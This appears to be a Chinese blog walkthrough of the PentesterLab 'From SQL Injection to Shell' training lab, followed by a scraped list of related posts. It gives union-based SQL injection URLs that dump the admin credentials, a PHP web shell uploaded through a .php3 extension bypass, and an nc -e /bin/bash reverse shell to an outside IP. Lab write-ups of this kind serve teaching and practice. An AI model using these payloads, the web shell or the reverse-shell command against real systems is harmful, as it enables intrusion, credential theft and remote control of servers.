PentesterLab-From SQL Injection to Shell
一、打开靶机ip出现如下界面:

随便点一下,点到test链接,访问了如下url:http://192.168.109.131/cat.php?id=1,这里出现了一个id,常规思路这个位置可能有sql注入。然后看其他链接,都差不多,直到点到Admin的链接时,出来一个后台。
二、SQL注入先行
既然有id=1,首先看下这个id是字符还是数字,后面加一个 ' 号,出现了Mysql的报错,确认是注入无疑,而且错误提示中只出现了一个 ' ,那看来是数字型了,下面就常规注入:
1、这种靶机一般不会有太多字段,手工从0开始order by一下,直到order by到4的时候报错了,那应该有三个字段
http://192.168.109.131/cat.php?id=2%20order%20by%203
2、开始看下注入点在第几个字段,发现出现在第二个字段
http://192.168.109.131/cat.php?id=2%20and%20select%201,2,3
3、那么就开始爆破库、表
http://192.168.109.131/cat.php?id=2%20union%20select%201,schema_name,3,4%20from%20information_schema.schemata%20limit%201,2
4、爆库过程中发现都是常见的mysql默认库,直到这里发现一个首页字样的库名,库名为photoblog,拿着这个库名看下都有什么表,找到一个users的表
http://192.168.109.131/cat.php?id=2%20union%20select%201,table_name,3,4%20from%20information_schema.tables%20where%20table_schema=0x70686f746f626c6f67%20limit%203,4
5、然后看下字段,找到了login和password两个字段
http://192.168.109.131/cat.php?id=2%20union%20select%201,column_name,3,4%20from%20information_schema.columns%20where%20table_schema=0x70686f746f626c6f67%20and%20table_name=0x7573657273%20limit%202,3
6、查看这两个数据,得到用户名密码,md5破解后得到用户名密码:admin:P4ssw0rd
http://192.168.109.131/cat.php?id=2%20union%20select%201,login,3,4%20from%20photoblog.users%20limit%201,2
http://192.168.109.131/cat.php?id=2%20union%20select%201,password,3,4%20from%20photoblog.users%20limit%201,2
7、本来想着能通过注入直接getshell,发现当前用户没有权限,放弃这个思路
http://192.168.109.131/cat.php?id=2%20union%20select%201,%27%3C?php%20phpinfo();%3E%27,3,4%20into%20outfile%20%27/var/www/test.php%27
8、nmap跑了下端口,开了ssh服务,用这个账户登录了,发现进不去,看来系统密码没有被复用
9、回到页面首页,进入后台,输入用户名密码,成功进入后台

显示了很多图片,直接看到new字样,这里有个上传功能
10、随便上传一个php,报错了,提示 NO PHP,看来不能直接上传php,重新改了个后缀名,.php.jpg,上传成功,看来是只检测了后缀名,想到php引擎可以解析php1,php2,php3,这里直接试下php3,上传成功
#webshell脚本
<?php
system($_GET['cmd']);
?>
11、通过该webshell执行nc反弹系统shell,完成该靶机任务
http://192.168.109.131/admin/uploads/function.php3?cmd=/bin/nc%2030.117.75.246%209999%20-e%20/bin/bash
请使用手机"扫一扫"x
PentesterLab-From SQL Injection to Shell的更多相关文章
- [SQL注入1]From SQL injection to Shell
第一次写,希望大神们多指点. 对于刚接触WEB渗透测试这块的朋友们,很希望能有个平台可以练习.网络上有不少,十大渗透测试演练系统,我这里推荐一个在10以外,适合初学者一步一步进步的平台PENTESTE ...
- [SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION
FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION 这里先介绍一下POSTGRESQL.这是一款数据库管理系统,与oracle是同类型软件.08年左右的市场 ...
- PentesterLab-From SQL Injection to Shell: PostgreSQL edition
一.打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入 由于PostgreSQL与MySQL不同,几个关注点需要注意下 二.order by下 ...
- SQL注入——SQL Injection
本文部分内容转自:https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html http://www.diybl.com/course/7_ ...
- DVWA SQL Injection 通关教程
SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...
- druid sql黑名单 报异常 sql injection violation, part alway true condition not allow
最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...
- PHP+MYSQL网站SQL Injection攻防
程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...
- SQL Injection(SQL注入漏洞)
审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...
- HP+MYSQL网站SQL Injection攻防
WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...
随机推荐
- 利用Masscan批量生成随机ip地址表
简介 Masscan是Kali下集成的高效扫描器,和nmap命令有很多相似之处 命令生成随机ip masscan -sL 10.0.0.0/24 > c段.txt masscan -sL 10. ...
- 【Python】IO编程
文件读写 StringIO和BytesIO 操作文件和目录 序列化 学习廖老师的py官网的笔记 1.stream的概念.数据交换通常需要建立两根“水管”. 2.同步IO和异步IO.异步性能高,但是编程 ...
- JavaScript常用算法
一.排序算法 1.Array.sort(function)(JavaScript原生排序算法)参数:比较函数(可选)若无参数,则按照首字母的ASCII码排序,比较函数的作用为确定排序 function ...
- 如何用纯 CSS 创作一只徘徊的果冻怪兽
效果预览 在线演示 按下右侧的"点击预览"按钮可以在当前页面预览,点击链接可以全屏预览. https://codepen.io/comehope/pen/VdOKQG 可交互视频 ...
- Java-性能调优实战(jps、jstack)
找最耗CPU的线程 1. 找出java进程 [ ~]# jps 9939 Resin 9874 WatchdogManager 9926 Jps 2. 找java进程下所有的线程 [ ~]# top ...
- GET 对比 POST
HTTP 方法:GET 对比 POST HTTP 消息 标签列表(字母排序) 两种最常用的 HTTP 方法是:GET 和 POST. 什么是 HTTP? 超文本传输协议(HTTP)的设计目的是保证客户 ...
- 20145214 《Java程序设计》第3周学习总结
教材学习内容总结 对象(Object):存在的具体实体,具有明确的状态和行为 类(Class):具有相同属性和行为的一组对象的集合,用于组合各个对象所共有操作和属性的一种机制 从类看对象:类定义可以视 ...
- 强大的jQuery选择器 平时用的太少了 下次要先来看看
- z-albert之开启博文之路
其实注册博客园已经蛮久的了,一直都只是停留在看,却没有自己动手一篇属于自己的技术博文.之所以以前一直没写,以前没有工作,一直都是小白.然而今天为什么感写了呢,并不是自己比以前懂得多多少,而是希望将自己 ...
- SpringBoot 简单集成ActiveMQ
ActiveMQ安装配置步骤见:https://www.cnblogs.com/vincenshen/p/10635362.html 第一步,pom.xml引入ActiveMQ依赖 <depen ...